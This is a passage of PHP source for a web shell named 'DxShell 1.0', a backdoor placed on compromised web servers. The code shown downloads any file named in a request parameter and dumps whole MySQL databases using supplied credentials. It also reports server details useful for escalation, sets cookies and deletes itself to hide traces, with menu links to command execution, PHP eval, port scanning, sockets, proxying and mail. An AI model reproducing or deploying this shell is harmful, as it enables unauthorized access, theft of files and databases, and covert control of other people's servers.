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',
569 'rename'=> 'R0lGODlhEAAQAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIxlI8GC+kCQmgPxVmtpBnurnzgxWUk6GFKQp0eFzXnhdHLRm/SPvPp5IodhC4IS8EoAAA7',
570 'ed' => 'R0lGODlhEAAQAKIAAAAzZv////3Tm8DAwJ7R/Gmd0P///wAAACH5BAEAAAYALAAAAAAQABAAAANDaAYM+lABIVqEs4bArtRc0V3MMDAEMWLACRSp6kRNYcfrw9h3mksvHm7G4sF8RF3Q1kgqmZSKZ/HKSKeN6I/VdGIZCQA7',
571 'downl' => 'R0lGODlhEAAQAJEAADyFFIXQLajcOf///yH5BAEAAAMALAAAAAAQABAAAAI6nAepeY0CI3AHREmNvWLmfXkUiH1clz1CUGoLu0JLwtaxzU5WwK89HxABgESgSFM0fpJHx5DWHCkoBQA7',
572 'gzip' => 'R0lGODlhEAAQAKIAAARLsHi+//zZWLJ9DvEZAf///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANCWLrQDkuMKUC4OMAyiB+Pc0GDYJ7nUFgk6qos56KwJs9m3eLSapc83Q0nnBhDjdGCkcFslgrkEwq9UKHS6dLShCQAADs=',
573 );
574 @ob_clean();
575 if ((!isset($_GET['dximg'])) OR (!in_array($_GET['dximg'], array_keys($IMGS)))) $_GET['dximg']='noone';
576 header('Cache-Control: public');
577 header('Expires: '.Date('r', time()+60*60*24*300));
578 header('Content-type: image/gif');
579 print base64_decode( (is_array(($IMGS[$_GET['dximg']])))?$IMGS[$_GET['dximg']][1]:$IMGS[$_GET['dximg']] );
580 die();
581 }
582
583if ($_GET['dxmode']=='F_DWN')
584 {
585 if (!isset($_GET['dxfile'])) die(DxError('No file selected. Check $_GET[\'dxfile\'] var'));
586 if (!file_exists($_GET['dxfile'])) die(DxError('No such file'));
587 if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) '));
588
589 $DxDOWNLOAD_File=array(); /* prepare struct */
590 $DxDOWNLOAD_File['filename']=basename($_GET['dxfile']);
591 if (isset($_GET['dxparam']))
592 $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); /* usual look thru */
593 else
594 { $DxDOWNLOAD_File['headers'][]=('Content-type: '.mime_content_type($_GET['dxfile']));
595 $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.basename($_GET['dxfile']).'";');
596 }
597 $DxDOWNLOAD_File['content']=file_get_contents($_GET['dxfile']);
598 }
599
600if ($_GET['dxmode']=='SQL' AND isset($_POST['dxparam']))
601 {/* download query results */ if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_q']))
602 die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_q\'] needed'));
603
604 if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0))
605 die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
606 if (!mysql_select_db($_GET['dxsql_d']))
607 die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
608
609 /* export as csv */
610 $DxDOWNLOAD_File=array(); /* prepare struct */
611 $DxDOWNLOAD_File['filename']='Query_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.csv';
612 $DxDOWNLOAD_File['headers'][]=('Content-type: text/comma-separated-values');
613 $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";');
614 $DxDOWNLOAD_File['content']='';
615
616 $_POST['dxsql_q']=explode(';',$_POST['dxsql_q']);
617
618 for ($q=0;$q<count($_POST['dxsql_q']);$q++)
619 { if (empty($_POST['dxsql_q'][$q])) continue;
620 $num=DxMySQL_FetchResult(DxMySQLQ($_POST['dxsql_q'][$q], false), $DUMP, false);
621 $DxDOWNLOAD_File['content'].="\n\n".'QUERY: '.str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $_POST['dxsql_q'][$q] )).";";
622 if ($num<=0) {$DxDOWNLOAD_File['content'].="\n".'Empty;'; continue;}
623 foreach ($DUMP[0] as $key => $val) $DxDOWNLOAD_File['content'].=$key.";"; /* headers */
624 for ($l=0;$l<count($DUMP);$l++)
625 { $DxDOWNLOAD_File['content'].="\n";
626 $INDEXES=array_keys($DUMP[$l]);
627 for ($i=0; $i<count($INDEXES); $i++)
628 $DxDOWNLOAD_File['content'].=str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $DUMP[$l][ $INDEXES[$i] ])).";";
629
630 }
631 }
632 }
633
634if ($_GET['dxmode']=='SQLD' AND isset($_POST['dxsql_tables']))
635 { if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_tables']))
636 die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_tables\'] needed'));
637
638 if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0))
639 die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
640 if (!mysql_select_db($_GET['dxsql_d']))
641 die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
642
643 if (empty($_POST['dxsql_tables'])) die(DxError('No tables selected...'));
644
645 $DxDOWNLOAD_File=array(); /* prepare struct */
646 $DxDOWNLOAD_File['filename']='Dump_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.sql';
647 $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain');
648 $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";');
649 $DxDOWNLOAD_File['content']='';
650
651 $DxDOWNLOAD_File['content'].="\n\t".'/* '.str_repeat('=', 66);
652 $DxDOWNLOAD_File['content'].="\n\t".'==== MySQL Dump '.DxDate(time()).' - DxShell v'.$GLOB['SHELL']['Ver'].' by o_O Tync';
653 $DxDOWNLOAD_File['content'].="\n\t".'==== Server: '.$_GET['dxsql_s'];
654 $DxDOWNLOAD_File['content'].="\n\t".'==== DB: '.$_GET['dxsql_d'];
655 $DxDOWNLOAD_File['content'].="\n\t".'==== Tables: '."\n\t\t\t".implode(', '."\n\t\t\t", $_POST['dxsql_tables']);
656 $DxDOWNLOAD_File['content'].="\n\t".str_repeat('=', 66).' */';
657
658 if (!empty($_POST['dxsql_q']))
659 { $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']);
660 foreach ($_POST['dxsql_q'] as $CUR)
661 if (empty($CUR)) continue; else DxMySQLQ($CUR, true); /* pre-query */
662 }
663
664 foreach ($_POST['dxsql_tables'] as $CUR_TABLE)
665 { $DxDOWNLOAD_File['content'].=str_repeat("\n", 5).'/* '.str_repeat('-', 40).' */';
666 DxMySQL_FetchResult(DxMySQLQ('SHOW CREATE TABLE `'.$CUR_TABLE.'`;', false), $DUMP, true);
667 $DxDOWNLOAD_File['content'].="\n".$DUMP[0][1];
668 $DxDOWNLOAD_File['content'].="\n\n";
669 DxMySQL_FetchResult(DxMySQLQ('SELECT * FROM `'.$CUR_TABLE.'`;', false), $DUMP, true);
670 for ($i=0; $i<count($DUMP); $i++)
671 {
672 for ($j=0;$j<count($DUMP[$i]);$j++) $DUMP[$i][$j]=mysql_real_escape_string($DUMP[$i][$j]);
673 $DxDOWNLOAD_File['content'].="\n".'INSERT INTO `'.$CUR_TABLE.'` VALUES ("'.implode('", "', $DUMP[$i]).'");';
674 }
675 }
676 }
677
678if ($_GET['dxmode']=='COOK' AND isset($_POST['dxparam']))
679 { foreach ($_POST['dxparam'] as $name => $val)
680 { if ($name=='DXS_NEWCOOK')
681 {
682 if (empty($val['NAM']) or empty($val['VAL'])) continue; DxSetCookie($val['NAM'], $val['VAL'], time()+60*60*24*10);
683 }
684 else DxSetCookie($name, $val, (empty($val))?1:(time()+60*60*24*10));
685 }
686 DxGotoURL(DxURL('leave', 'dxmode'));
687 die();
688 }
689
690if (isset($_GET['dxinstant']))
691 { $_GET['dxinstant']=strtoupper($_GET['dxinstant']);
692 if ($_GET['dxinstant']=='DEL')
693 {
694 $ok=@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
695 print '<script>window.alert("SELF '.( ($ok)?'deleted. Reload the page to believe me =)':'tried to delete but was unsuccessful' ).'");</script>';
696 }
697 }
698
699function DxObGZ($s) {return gzencode($s);}
700
701if (isset($DxDOWNLOAD_File))
702 {/* File downloader for everything */
703 if (!$DXGLOBALSHIT)
704 {
705 if ($GLOB['SYS']['GZIP']['CanOutput'])
706 {
707 ini_set('output_buffering',4096);
708 ob_start("DxObGZ");
709 header('Content-Encoding: gzip');
710 } for ($i=0; $i<count($DxDOWNLOAD_File['headers']); $i++) header($DxDOWNLOAD_File['headers'][$i]);
711 print $DxDOWNLOAD_File['content'];
712 die();
713 }
714 /* if u want to download file when $DXGLOBALSHIT, scroll down */
715 }
716
717###################################################################################
718####################++++++++++++++# M A I N #++++++++++++++++++####################
719###################################################################################
720if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die(DxError('Unknown $_GET[\'dxmode\']! check $GLOB[\'DxMODES\'] array'));
721
722########
723######## Main HAT (blackhat? =))) )
724########
725if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die('Unknown $_GET[\'dxmode\']');
726
727if ($DXGLOBALSHIT)
728 print str_repeat("\n", 20).'<!--SHELL HERE-->';
729?>
730<html><head><title><?=$_SERVER['HTTP_HOST'];?> --= DxShell 1.0 - by o_O Tync =-- :: <?=$GLOB['DxMODES'][$_GET['dxmode']];?></title>
731<Meta Http-equiv="Content-Type" Content="text/html; Charset=windows-1251">
732<link rel="shortcut icon" href="<?=DxURL('kill','dxmode');?>&dxmode=IMG&dximg=DxS">
733<http://leet.phpnet.us/sh.gif>
734<style>
735img {border-width:0pt;}
736body, td {font-size: 10pt; color: #00B000; background-color: #000000; font-family: Arial;padding:2pt;margin:2pt; vertical-align:top;}
737h1 {font-size: 14pt; color: #00B000; background-color: #002000; font-family: Arial Black; font-weight: bold; text-align: center;}
738h2 {font-size: 12pt; color: #00B000; background-color: #002000; font-family: Courier New; text-align: center;}
739h3 {font-size: 12pt; color: #F0F000; background-color: #002000; font-family: Times New Roman; text-align: center;}
740caption {font-size: 12pt; color: #00FF00; background-color: #000000; font-family: Times New Roman; text-align:center; border-width: 1pt 3pt 1pt 3pt;border-color:#FFFF00;border-style:solid solid dotted solid;padding: 5pt 0pt;}
741td.h2_oneline {font-size: 12pt; color: #00B000; font-family: Courier New; text-align: center;background-color: #002000; border-right-color:#00FF00;border-right-width:1pt;border-right-style:solid;vertical-align:middle;}
742td.mode_header {font-size: 16pt; color: #FFFF00; font-family: Courier New; text-align: center;background-color: #002000; vertical-align:middle;}
743table.outset, td.outset {border-width:3pt; border-style:outset; border-color: #004000;margin-top: 2pt;vertical-align:middle;}
744table.bord, td.bord, fieldset {border-width:1pt; border-style:solid; border-color: #003000;vertical-align:middle;}
745hr {border-width:1pt; border-style:solid; border-color: #005000; text-align: center; width: 90%;}
746textarea.bout {border-color: #000000; border-width:0pt; background: #000000; font: 12px verdana, arial, helvetica, sans-serif; color: #00FF00; Scrollbar-Face-color:#000000;Scrollbar-Track-Color: #000000;}
747td.listing {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:top;}
748td.linelisting {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;}
749table.linelisting {border-color: #003000;border-width:0pt 1pt; border-style:solid;}
750td.js_floatwin_header {background-color:#003300;font-size:10pt;font-weight:bold;color:#FFFF00;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;}
751td.js_floatwin_body {background-color:#000000;font-size:10pt;color:#00B000;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;}
752font.rwx_sticky_bit {color:#FF0000;}
753.highlight_txt {color: #FFFF00;}
754.achtung {color: #000000; background-color: #FF0000; font-family: Arial Black; font-size: 14pt; padding:0pt 5pt;}
755
756input {font-size: 10pt;font-family: Arial; color: #E0E000; background-color: #000000; border-color:#00FF00 #005000 #005000 #FFFF00; border-width:1pt 1pt 1pt 3pt;border-style:dotted dotted dotted solid; padding-left: 3pt;overflow:hidden;}
757input.radio {border-width:0pt;color: #FFFF00;}
758input.submit {font-size: 12pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #002000; border-color: #00FF00; border-width:0pt 1pt 1pt 0pt; border-style: solid; padding:1pt;letter-spacing:1pt;padding:0pt 2pt;}
759input.bt_Yes {font-size: 14pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #005000; border-color: #005000 #005000 #00FF00 #005000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;}
760input.bt_No {font-size: 14pt;font-family: Impact, Arial Black; color :#FF0000; background-color: #500000; border-color: #500000 #500000 #FF0000 #500000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;}
761input.bt_Yes:Hover {color:#000000; background-color:#00FF00;border-bottom-color:#FFFFFF;}
762input.bt_No:Hover {color:#000000; background-color:#FF0000;border-bottom-color:#FFFFFF;}
763textarea {color:#00FF00; background-color:#001000;border-color:#000000;border-width:0pt;border-style:solid;font-size:10pt;font-family:Arial;Padding:5pt;
764 Scrollbar-Face-Color: #00FF00; Scrollbar-Track-Color: #000500;
765 Scrollbar-Highlight-Color: #00A000; Scrollbar-3dlight-Color: #00A000; Scrollbar-Shadow-Color: #005000;
766 Scrollbar-Darkshadow-Color: #005000;}
767select {background-color:#001000;color:#00D000;border-color:#D0D000;border-width:1pt;border-style:solid dotted dotted solid;}
768
769A:Link, A:Visited { color: #00D000; text-decoration: underline; }
770A.no:Link, A.no:Visited { color: #00D000; text-decoration: none; }
771A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #00FF00; background-color:#003300; text-decoration: overline; }
772.Hover:Hover {color: #FFFF00; cursor:help;}
773.HoverClick:Hover {color: #FFFF00; cursor:crosshair;}
774span.margin {margin: 0pt 10pt;}
775td.error {color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;}
776td.warning {color:#000000; background-color: #D00000; font-size: 11pt;}
777font.img_replacer {margin:1pt;padding:1pt;text-decoration: none;border-width:1pt;border-color:#D0D000;border-style:solid;}
778</style>
779
780<?php
781if (in_array($_GET['dxmode'], array('UPL', 'DIR', 'PRT')))
782 { /* THIS FLOATING WINDOW IS ONLY SET FOR MODES: */?>
783<SCRIPT>
784var dom = document.getElementById?1:0;
785var ie4 = document.all && document.all.item;
786var opera = window.opera; //Opera
787var ie5 = dom && ie4 && !opera;
788var nn4 = document.layers;
789var nn6 = dom && !ie5 && !opera;
790var vers=parseInt(navigator.appVersion);
791var good_browser = (ie5 || ie4);
792function showwin(hdr,txt,w,vis)
793{
794if(good_browser)
795 {
796 var obj = document.all('js_floatwin');
797 var evnt = event;
798 var xOffset = document.body.scrollLeft;
799 var yOffset = document.body.scrollTop;
800
801 var temp =
802 "<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="+ w +">"
803 +((hdr!='')?("<TR><TD class=js_floatwin_header>"+ hdr + "</TD></TR>"):"")
804 +"<TR><TD class=js_floatwin_body>" + txt + "</TD></TR>"
805 +"</TABLE>";
806
807 if (vis == 1)
808 {
809 obj.innerHTML = temp;
810 obj.style.width = w;
811 hor = document.body.scrollWidth - obj.offsetWidth;
812 posHor = xOffset + evnt.clientX + 10;
813 posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5;
814 posVer = yOffset + evnt.clientY - obj.offsetHeight - 5;
815
816 if (posHor<hor)
817 obj.style.posLeft = posHor
818 else
819 obj.style.posLeft = posHor2;
820
821 obj.style.posTop = posVer;
822
823 obj.style.visibility = "visible";
824 }
825 else
826 {
827 obj.style.visibility = "hidden";
828 obj.style.posTop = 0;
829 obj.style.posLeft = 0;
830 }
831 }
832}
833function movewin()
834{
835if (good_browser)
836 {
837 var obj = document.all('js_floatwin');
838 var evnt = event;
839 var xOffset = document.body.scrollLeft;
840 var yOffset = document.body.scrollTop;
841
842 hor = document.body.scrollWidth - obj.offsetWidth;
843 posHor = xOffset + evnt.clientX + 10;
844 posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5;
845 posVer = yOffset + evnt.clientY - obj.offsetHeight - 5;
846
847 if (posHor<hor)
848 obj.style.posLeft = posHor
849 else
850 obj.style.posLeft = posHor2;
851
852 obj.style.posTop = posVer;
853 }
854}
855</SCRIPT>
856<?php } /* /END */?>
857
858</head>
859<body>
860<?php
861if ($DXGLOBALSHIT) /* tries to kill all the fucking bug.php pre-output, if ob_clean() failed */
862 { print str_repeat("\n", 10).'<!--SHIT KILLER-->';
863 print "\n".'</body></a>'.str_repeat('</table>', 5).str_repeat('</div>', 5).str_repeat('</span>', 5).str_repeat('</pre>', 1).str_repeat('</font>', 5).str_repeat('</script>', 2);
864 print "\n".'<TABLE WIDTH=100% BORDER=0 style="position:absolute;z-index:100;top:0pt;left:0pt;width:100%;height:100%;"><tr><td>';
865 print "\n\n\n\n";
866 }
867?>
868
869<div id="js_floatwin" style="z-index:50;position:absolute;left:0;top:0;visibility:hidden"></div>
870<table width=100% cellspacing=0 cellpadding=0 class=outset>
871<tr>
872 <td width=100pt class=h2_oneline><a href="<?=DxURL('kill', '');?>&dxmode=WTF" class=no><h1>DxShell<br>v<?=$GLOB['SHELL']['Ver'];?></td>
873 <td>
874<?php
875print "\n".'<div style="margin-right:'.( ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)?'100':'30' ).'pt;">';
876print "\n".( ($DXGLOBALSHIT)?'<font color=#FF0000><b>GLOBALSHIT</b></font> ; ':'' );
877print "\n".DxPrint_ParamState('php_ver', phpversion() ).' ; ';
878print "\n".DxPrint_ParamState('php_Safe_Mode', $GLOB['PHP']['SafeMode'], '!' ).' ; ';
879print "\n".DxPrint_ParamState('magic_quotes', (bool)get_magic_quotes_gpc(), '!' ).' ; ';
880print "\n".DxPrint_ParamState('gZip', function_exists('gzencode') ).' ; ';
881print "\n".DxPrint_ParamState('cURL', function_exists('curl_version') ).' ; ';
882print "\n".DxPrint_ParamState('MySQL', function_exists('mysql_connect') ).' ; ';
883print "\n".DxPrint_ParamState('MsSQL', function_exists('mssql_connect') ).' ; ';
884print "\n".DxPrint_ParamState('PostgreSQL', function_exists('pg_connect') ).' ; ';
885print "\n".DxPrint_ParamState('Oracle', function_exists('ocilogon') ).' ; ';
886print "\n".'Disabled functions: '.((($df=@ini_get('disable_functions'))=='')?'<font color=#00FF00><b>NONE</b></font>':'<font color=#FF0000><b>'.str_replace(array(',',';'), ', ', $df).'</b></font>');
887print "\n".'</div>';
888
889print "\n\n".'<span align=right style="position:absolute;z-index:1;right:0pt;top:0pt;"><table><tr><td class="h2_oneline"><nobr>';
890if ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)
891 print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=logoff" title="Log Off" class=no>[Exit]</a>';
892print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=DEL" title="Delete self ('.basename($_SERVER['PHP_SELF']).')" class=no><font color=#FF0000;>'.DxImg('del').'</font></a>';
893print "\n".'</nobr></td></tr></table></span>';
894
895print "\n\n".'<hr>';
896print "\n".'Disk free: <b>'.DxStr_FmtFileSize(disk_free_space($GLOB['FILES']['CurDIR'])).' / '.DxStr_FmtFileSize(disk_total_space($GLOB['FILES']['CurDIR'])).'</b> ; ';
897print "\n".'OS: <b>'.$GLOB['SYS']['OS']['id'].' ('.$GLOB['SYS']['OS']['Full'].' )</b> ; ';
898print "\n".'Yer_IP: <b>'.@$_SERVER['REMOTE_ADDR'].' ('.@$_SERVER['REMOTE_HOST'].')</b> ; ';
899print "\n".'<nobr>Own/U/G/Pid/Inode:<wbr><b>'.get_current_user().' / '.getmyuid().' / '.getmygid().' / '.getmypid().' / '.getmyinode().'</b> ; </nobr>';
900print "\n".'MySQL : <b>'.@mysql_get_server_info().'</b> ; ';
901print "\n".'<br>'.@$_SERVER['SERVER_SOFTWARE'];
902?>
903 </td>
904</table>
905<table width=100% cellspacing=0 cellpadding=0 class=outset>
906<tr>
907 <td width=100pt class=h2_oneline><h2>Modes</td>
908 <td style="text-align:center;"><nobr>
909 <a href="<?=DxURL('kill', '');?>&dxmode=DIR">DIR</a> |
910 <a href="<?=DxURL('kill', '');?>&dxmode=F_VIEW">VIEW</a> |
911 <a href="<?=DxURL('kill', '');?>&dxmode=FTP<?=((!empty($_GET['dxdir']))?'&dxdir='.$_GET['dxdir']:'');?>">FTP</a>
912 <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr>
913 <a href="<?=DxURL('leave', 'dxsql_s,dxsql_l,dxsql_p,dxsql_d');?>&dxmode=SQL">SQL</a> |
914 <a href="<?=DxURL('kill', '');?>&dxmode=PHP">PHP</a> |
915 <a href="<?=DxURL('kill', '');?>&dxmode=COOK">COOKIE</a> |
916 <a href="<?=DxURL('kill', '');?>&dxmode=CMD">CMD</a>
917 <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr>
918 <a href="<?=DxURL('kill', '');?>&dxmode=MAIL">MAIL</a> |
919 <a href="<?=DxURL('kill', '');?>&dxmode=STR">STR</a> |
920 <a href="<?=DxURL('kill', '');?>&dxmode=PRT">PORTSCAN</a> |
921 <a href="<?=DxURL('kill', '');?>&dxmode=SOCK">SOCK</a> |
922 <a href="<?=DxURL('kill', '');?>&dxmode=PROX">PROXY</a>
923 </td>
924 </tr>
925</table>
926
927<?php $DX_Header_drawn=true; ?>
928
929<?php
930#################################################
931########
932######## DXGLOBALSHIT DOWNLOADER
933########
934if (isset($DxDOWNLOAD_File)) /* only when DXGLOBALSHIT is enabled */
935 { print "\n".'<table align=center><tr><td class=mode_header><b>Download file</td></tr></table>';
936 print "\n".'The fact you see this means that "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit, so no headerz could be sent =((';
937 print "\n".'<br>Exclusively, DxShell is proud to present an additional way to download files...Just execute the php-script given below, and it will make the file u\'re trying to download';
938
939 if ($GLOB['SYS']['GZIP']['CanUse']) $DxDOWNLOAD_File['content']=gzcompress($DxDOWNLOAD_File['content'], 6);
940
941 print "\n\n".'<br><br>';
942 print "\n".'<textarea rows=30 style="width:90%" align=center>';
943 print "\n".'<?php'."\n".' //Execute this, and you\'ll get the requested "'.$DxDOWNLOAD_File['filename'].'" in the same folder with the script ;)';
944 print "\n".'// The file is '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzcompress()ed and':'' ).' base64_encode()ed';
945 print "\n\n".'$encoded_file=\''.base64_encode($DxDOWNLOAD_File['content']).'\';';
946 print "\n\n\n\n";
